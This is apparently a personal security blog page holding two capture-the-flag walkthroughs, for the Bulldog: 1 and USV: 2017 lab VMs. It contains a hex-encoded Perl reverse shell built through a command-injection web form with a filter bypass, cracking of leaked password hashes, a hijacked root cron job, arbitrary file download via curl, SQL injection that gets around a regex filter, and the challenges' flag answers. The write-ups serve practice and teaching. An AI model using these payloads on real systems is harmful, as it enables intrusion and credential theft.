Search My Blog

Sunday, January 28, 2018

Bulldog: 1 CTF Walkthrough Solution

Below is my walkthrough solution to the Bulldog: 1 CTF posted 28 Aug 2017 on Vulhub.

Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. 

Could this mean there are more vulnerabilities to exploit? Why don't you find out? :)

This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!

Difficulty: Beginner/Intermediate - I'd say.... Intermediate, as there are two paths to solve this which require different paths after you obtain the initial reverse shell.

Author: Made by Nick Frichette ( Twitter: @frichette_n

This VM starts out like any with a NMAP scan of the box to figure out where we might have access to the box.

root@kali:~/Documents/Bulldog_1# nmap -sSV -p- -O -T4 -v

Starting Nmap 7.60 ( ) at 2018-01-26 17:08 EST
NSE: Loaded 42 scripts for scanning.
Initiating ARP Ping Scan at 17:08
Scanning [1 port]
Completed ARP Ping Scan at 17:08, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:08
Completed Parallel DNS resolution of 1 host. at 17:08, 0.02s elapsed
Initiating SYN Stealth Scan at 17:08
Scanning [65535 ports]
Discovered open port 80/tcp on
Discovered open port 8080/tcp on
Discovered open port 23/tcp on
Completed SYN Stealth Scan at 17:08, 2.22s elapsed (65535 total ports)
Initiating Service scan at 17:08
Scanning 3 services on
Completed Service scan at 17:08, 6.03s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against
NSE: Script scanning
Initiating NSE at 17:08
Completed NSE at 17:08, 0.03s elapsed
Initiating NSE at 17:08
Completed NSE at 17:08, 0.00s elapsed
Nmap scan report for
Host is up (0.00043s latency).
Not shown: 65532 closed ports
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.001 days (since Fri Jan 26 17:07:32 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.30 seconds
           Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

It looks like the exact same web server bound to perts 80 and 8080 and an SSH server mounted to a "nonstandard" SSH port of 23.

Lets do some enumeration on the web server with dirb:
root@kali:~/Documents/Bulldog_1# dirb
---- Scanning URL: ----
==> DIRECTORY:                                                                                                                  
==> DIRECTORY:                                                                                                                    
+ (CODE:200|SIZE:1071)                                                                                                      
---- Entering directory: ----
==> DIRECTORY:                                                                                                             
==> DIRECTORY:                                                                                                            
==> DIRECTORY:                                                                                                           
---- Entering directory: ----
==> DIRECTORY:                                                                                                              
---- Entering directory: ----
==> DIRECTORY:                                                                                                       
==> DIRECTORY:                                                                                                        
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----

After some inspection, /admin seems to lead to a django login, dev seems to lead to a introduction page for new employees, and /dev/shell.... if we are logged in to django might be interest...

Inspecting the /dev site leads to something interesting in the source :-)

Lots like somebody decided to leave password hashes to django in the source. Lets crack it. First we make a user to password map file:

root@kali:~/Documents/Bulldog_1# cat user_pass.txt 

Then, feed it into john the ripper with the password hash type selected:

root@kali:~/Documents/Bulldog_1# hash-identifier

 HASH: 6515229daf8dbdc8b89fed2e60f107433da5f2cb

Possible Hashs:
[+]  SHA-1
[+]  MySQL5 - SHA-1(SHA-1($pass))

root@kali:~/Documents/Bulldog_1# john --format=Raw-SHA1  --wordlist=rockyou.txt user_pass.txt 
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog          (nick)
bulldoglover     (sarah)
2g 0:00:00:01 DONE (2018-01-27 09:57) 1.234g/s 8854Kp/s 8854Kc/s 50077KC/sie168..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We now have two potential users for the django site. Lets login of the /admin URL. Both passwords seem to work for both users. I have chosen to use Nick. After, login you can view the /dev/shell URL.

It seems to let you pass in various queries. They have attempted to prevent you from using ";" to chain together commands. You can pass "&&" to chain commands that are not permitted, as the filter doesn't work properly. You use the echo command to write out files to the /tmp directory. They seem to have blocked some other commands from running as I couldn't get a bash or ruby reverse shell to run out of the /tmp directory. I could get a Perl one to run though :-). I had to encode the ";" as Hex and reconvert it to ASCII using xxd -r

Using the webform I wrote out the reverse shell with the following code block submitted in a few submission to built it. It was too look to enter in the form as one string and I didn't fell like sending it via Curl or manipulating the webform.


echo "" && echo "#!/bin/sh" > /tmp/ && echo -n "perl -e 'use Socket" >> /tmp/ && echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "\$i=\"\"" >> /tmp/ && echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "\$p=80" >> /tmp/ 


echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"))" >> /tmp/ && echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\")" >> /tmp/ 


echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "open(STDOUT,\">&S\")" >> /tmp/ && echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "open(STDERR,\">&S\")" >> /tmp/ && echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "exec(\"/bin/sh -i\")" >> /tmp/ 


echo -n "0x3B" | xxd -r >> /tmp/ && echo -n "}" >> /tmp/ && echo -n "0x3B" | xxd -r >> /tmp/ && echo "'" >> /tmp/


echo "" && chmod 755 /tmp/

Set up a listener on your machine, then enter the last command


echo "Owned You!!!" && /tmp/

From above, you can see I'm in an after cleaning up the TTY with the python command after access, looks like I'm django and have sudo permission...but I need to know the django user's password :-(


After searching around a bit, I found the following in a "hidden folder"

You still need to know the password for the user to run this "customPermissionApp"... which for some reason isn't flagged to be executable... lets run strings on it and see what we find?

HUM... looks like Ashley may have hardcoded a password for the django user???? Let try that password.

Boom... we are logged in as root using the django user's password to sudo to root. In reading the flag, there appears to be a second route to root? Let look around some more......

ROOT ACCESS PATH 2 (no password required)

I decided to go check out the cron jobs as the django user (pretending I don't have access to root yet.. just a reverse shell as django)

Looks like from cron we have found a job that runs every min and is fully writable by ALL users. All we have to do it append a python reverse shell back to this job and it will log us in as root :-)

So, I echo'ed a reverse shell to the cron job, launched a listener on my box, and waited a minute for it to connect me.

Connection!!! and I'm root again without knowing the password for the django user at all :-)

Hope you enjoyed the solution. This VM was fun and I enjoyed it. Worst part was actually crafting the first reverse shell through the /dev/shell portal.

Thursday, January 25, 2018

USV: 2017 Walkthrough -

Here is my solution to the USV: 2017 CTF Challenge


Difficulty: Beginner/Intermediate - I'd actually say Intermediate

About: This is the VM used in the online qualifications phase of the CTF-USF 2017 (Capture the Flag - Suceava University) contest which addresses to universities students. The VM was created by Oana Stoian (@gusu_oana) and Teodor Lupan (@theologu) from Safetech Innovations, the technical partner of the contest.

Instructions: The CTF is a virtual machine and has been tested in Virtual Box. The network interface of the virtual machine will take it's IP settings from DHCP.

Flags: There are 5 flags that should be discovered in form of: Country_name Flag: [md5 hash]. In CTF platform of the CTF-USV competition there was a hint available for each flag, but accessing it would imply a penalty. If you need any of those hints to solve the challenge,  you can send a message on Twitter @gusu_oana and he will be glad to help.

The countries that should be tracked for flags are: Croatia, France, Italy, Laos, Philippines

    Croatia Flag -  e4d49769b40647eddda2fe3041b9564c
    France Flag - a51f0eda836e4461c3316a2ec9dad743
    Italy Flag - 46202df2ae6c46db8efc0af148370a78
    Laos Flag -  66c578605c1c63db9e8f0aba923d0c12
    Philippines Flag -  551d3350f100afc6fac0e4b48d44d380

Initial Machine Scan:

root@kali:~/Documents/USV_2017# nmap -sSV -p- -O -T5

Starting Nmap 7.60 ( ) at 2018-01-11 15:02 EST
Nmap scan report for
Host is up (0.00045s latency).
Not shown: 65526 closed ports
21/tcp    open  ftp            ProFTPD 1.3.5b
22/tcp    open  ssh            OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp    open  http           Apache httpd
4369/tcp  open  epmd           Erlang Port Mapper Daemon
5222/tcp  open  jabber         ejabberd (Protocol 1.0)
5269/tcp  open  jabber         ejabberd
5280/tcp  open  ssl/xmpp-bosh?
15020/tcp open  ssl/http       Apache httpd
34543/tcp open  unknown
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: Host: localhost; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 127.35 seconds

root@kali:~/Documents/USV_2017# nmap -p 4369 --script epmd-info

Starting Nmap 7.60 ( ) at 2018-01-11 15:14 EST
Nmap scan report for
Host is up (0.00053s latency).

4369/tcp open  epmd
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    ejabberd: 34543
MAC Address: 08:00:27:C5:25:00 (Oracle VirtualBox virtual NIC)

NOTE: The ejabberd port will change at every boot.


Let's start with the easy guy - France

We notice from the scan that there is an HTTPS service running on port 15020. Lets pull down the SSL cert and look at it.

Looks like we found the France Flag real easy :-)

     France Flag - a51f0eda836e4461c3316a2ec9dad743


Next, we need to run dirb on the port 15020 site.  (I've thinned the output)

root@kali:~# dirb

DIRB v2.22    
By The Dark Raver
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                                 ==> DIRECTORY:                                                          
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
+ (CODE:302|SIZE:0)                                      
==> DIRECTORY:                                            
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)

If we look in We will find that there is a hidden directory tree /vault/DoorXXX/VaultYYY where the XXX goes from 1 - 300 and the YYY goes from 1 - 100. There is also a /blog website with a login.....

Lets travel down each of these "vaults". They will let you do a directory index. So, I bet in one of these folder there must be some files..... which could lead to a login for the blog?

So, I wrote a quick Perl script to spider the tree and write out the contents to names files.

Which resulted in finding content in Door 222 Vault 70 (ctf.cap) and Door 223 Vault 1 ( wordlist):

Using Wireshark we note that the cap file contains a bunch of 802.11 WIFI traffic. I bet if we use the rockyou list and aircrack-ng we can crack the WIFI password and maybe use it someplace??? :-)

Looks like the password is "minion.666"... how fitting..... Note: I put the command on the command line again after running it.

Login to the Blog at Lets try to use the password on the Blog. It has a CAPTCHA so, I guess we will just guess at a user name.... like admin and password minion.666 - WORKS!

A view source on the Admin page will show the "hidden" flag has been written as white text :-)

Philippines Flag Found!

    Philippines Flag -  551d3350f100afc6fac0e4b48d44d380


Looks like you can edit the blog, but nothing gets save. I also noticed from the previous view source there is a "hidden" download.php function.

This is seems can be used to download ANYTHING from the site (including /etc/passwd), as long as you do it as a POST request. If you read the blog entries you will notice that Kevin has provided us a hit....

So... lets see what Kevin has left us.....

Looks like he left us the Croatia Flag! :-)

    Croatia Flag -  e4d49769b40647eddda2fe3041b9564c


These are getting a little harder....this one takes some explaining, but you have to manipulate the edit.php in the blog to get you the User table from the DB. You will find that there is a Laos user and the Admin user. I'll try to better explain ... but here is the flag. It takes downloading a number of the php files and reading them to craft the proper SQL statement.



    Laos Flag -  66c578605c1c63db9e8f0aba923d0c12
Details on how to get the Laos Flag
Ok, using the download.php script you can grab the rest of the php files from the blog site to figure out how the Database might look. I grabbed:
root@kali:~/Documents/USV_2017/Laos# curl -k -d "image=./edit.php "
Examining the top of the php file will lead you to other files….
root@kali:~/Documents/USV_2017/Laos# head edit.php

root@kali:~/Documents/USV_2017/Laos# curl -k -d "image=../classes/post.php" -o post.php

root@kali:~/Documents/USV_2017/Laos# curl -k -d "image=../classes/auth.php" -o auth.php

root@kali:~/Documents/USV_2017/Laos# curl -k -d "image=../classes/db.php" -o db.php

…… and so on. You then need to inspect these and you will find that in the user.php the database has a table with a username and password column. You can see from the user.php file that the password is MD5… just like a Flag would be…..

class User {
  const SITE= "BLOG";
  function login($user, $password) {
    $sql = "SELECT * FROM users where login=\"";
    $sql.= mysql_real_escape_string($user);
    $sql.= "\" and password=md5(\"";
    $sql.= mysql_real_escape_string($password);
    $sql.= "\")";
    $result = mysql_query($sql);

So, I’m going to try and do a UNION with the USER table using the edit.php file. Edit.php is doing some rudimentary replacements to try and prevent use from manipulating it.

$sql = strtolower($_GET['id']);
  $sql = preg_replace("/union select|union all select|sleep|having|count|concat|and user|and isnull/", " ", $sql);
$post = Post::find($sql);

But, with some proper crafting we can get around this regular expression and get the users from the database with their passwords to populate into the edit form. You don’t want to grab the initial blog entry, so set that  first ID in the query to 0. You will have to have a valid PHPSESSID cookie value to do this. Just login to the blog and view the cookies you have in your browser. I was using Firefox at the time so (SHIFT+F2, then in bar at bottom – cookie list)

Turns out user ID 1 is for the Admin. ID 2 is for Laos J. The RED lowercase part of the SQL query gets blanked out by the preg_replace() function.

# curl -k -b"PHPSESSID=SOMECOOKIEVALUEHERE" ',login,password,id+FROM+users+WHERE+id%3D2'

# curl -k -b"PHPSESSID=SOMECOOKIEVALUEHERE" ',login,password,id+FROM+users+WHERE+id%3D1'


Last Flag.... the Italy Flag..... requires some math skills and playing with some JS code locally on you machine. There is a hidden website of port 80:

root@kali:~# dirb

DIRB v2.22 
By The Dark Raver

START_TIME: Thu Jan 11 17:07:13 2018
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                       

---- Scanning URL: ----
==> DIRECTORY:                                                       
+ (CODE:200|SIZE:3236)                                             
+ (CODE:403|SIZE:222)                                           
---- Entering directory: ----
+ (CODE:200|SIZE:1976)                                     
==> DIRECTORY:                                                     
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                     
    (Use mode '-w' if you want to scan it anyway)

If you navigate to http// you will find a JS based login prompter. The login prompter has two JS files associated with it. One at the bottom of the source for the page and one off Both JS items have been minified/obscifuticated. You can clean them up using or

Script in the source for http//

I cleaned it up with looks a little cleaner, but it will convert the “if statement” comparison to a HEX value… its still a number so no worries.

/** @type {Array} */
var _0xeb5f = ["value", "passinp", "password", "forms", "color", "style", "valid", "getElementById", "green", "innerHTML", "Italy:", "red", "Incorrect!"];
 * @return {?}
function validate() {
  /** @type {number} */
  var _0xb252x2 = 123211;
  /** @type {number} */
  var _0xb252x3 = 3422543454;
  var source = document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];
 //                    document[forms][password][passinput][value]
alert(source); // added by me to follow the math
  var sourceId = md5(source);
  // this function is from admin2/js/md5.min.js
 // 4469 is being appended to the end of input password which should be ‘777796730000’
 // based on the math. It is treating it like a string for the first equation so input 77779673 as the
 // password, 4469 will get append (just like adding 4469 to 0000, then rest of math functions are
 //  treated as math.
  source += 4469;
alert(source); // added by me to follow the math
  source -= 234562221224;
alert(source); // added by me to follow the math
  source *= 1988;
alert(source); // added by me to follow the math
  _0xb252x2 -= 2404;
  _0xb252x3 += 2980097;
                 //  1079950212331060
  if (source == 0x3d63580c7f634) {
    document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]] = _0xeb5f[8];
    document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]] = _0xeb5f[10] + sourceId;//     
//  document[getElementById](valid)[style][color] = green       
//  document[getElementById](valid)[innerHTML] = Italy +
  } else {
    document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]] = _0xeb5f[11];
    document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]] = _0xeb5f[12];
  return false;

After un-minify of the JS code and working with it you will figure out the password to the form:

and... now you have the ITALY Flag.

    Italy Flag - 46202df2ae6c46db8efc0af148370a78


Thanks for following along. Hopefully, I explained all of this well enough.

There are some open things, even though I captured all of the flags. You can use the download.php to grab any file (for the most part it seems). So, I know that there are 3 users with valid login shells by grabbing the /etc/passwd file:

root@kali:~/Documents/USV_2017# cat passwd | grep -P "/bin/sh|/bin/bash"

One can exploit the ejabberd service IF they know the .erlang.cookie the service is started with. This cookie, if not set at startup, is defaulted to a 20 Char (A-Z) value and written out in clear text to the .erlang.cookie file. You could find this file and download it (maybe using the download.php exploit above) or you could be brute force it. If you can get connected using erlang you can get a remote shell this way. Turns out you don't need to exploit this to get the flags... but I wonder if it is there to exploit.... or waste my time?